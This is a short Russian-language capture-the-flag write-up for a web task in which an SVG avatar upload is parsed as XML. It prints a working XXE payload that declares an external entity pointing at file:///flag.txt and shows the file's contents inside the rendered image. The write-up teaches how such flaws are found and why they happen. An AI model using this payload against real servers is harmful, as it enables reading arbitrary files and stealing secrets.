/Разборы задач
1 ноября 2026
Райтап на задачу «Вектор атаки»
Используем внешнюю XML-сущность в SVG-аватарке, чтобы прочитать файл с флагом, и разбираем причину XXE.15
4

Web
Задача «Вектор атаки»
Флаг находится в корне сервера в файле /flag.txt.
Адрес: http://31.207.77.216:4017
В данном задании загружаются, а следовательно, и обрабатываются SVG-файлы.
Возьмём любое SVG-изображение, например, отсюда.
Посмотрим, что происходит во время загрузки:
Обнаружен XML! А это значит, что можно проверить таску на XXE-уязвимость (XML External Entity).
Почитаем о векторах атаки на PayloadAllTheThings:
Жмём Ctrl+F и прописываем SVG:
Отлично, можем взять payload отсюда. Формируем запрос:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag.txt" > ]>
<svg xmlns="http://www.w3.org/2000/svg" id="Filled" viewBox="0 0 24 24"
width="512" height="512"><path d="M17.5,1.917a6.4,6.4,0,0,0-5.5,3.3,6.4,6.4,0,0,0-5.5-3.3A6.8,6.8,0,0,0,0,8.967c0,4.547,4.786,9.513,8.8,12.88a4.974,4.974,0,0,0,6.4,0C19.214,18.48,24,13.514,24,8.967A6.8,6.8,0,0,0,17.5,1.917Z"/>
<text fill="white" font-size="1" x="0" y="16">&xxe;</text>
</svg>Скопируем и вставим данный блок кода вместо отправляемого. Важно, что код посередине, отделённый переносами, будет зависеть от загружаемого файла. Поэтому данный кусок не должен никак меняться относительно того, что есть у тебя в начальном запросе.
Отправляем итоговый запрос и получаем картинку, поверх которой будет готов для копирования флаг.
Итак, таска решена!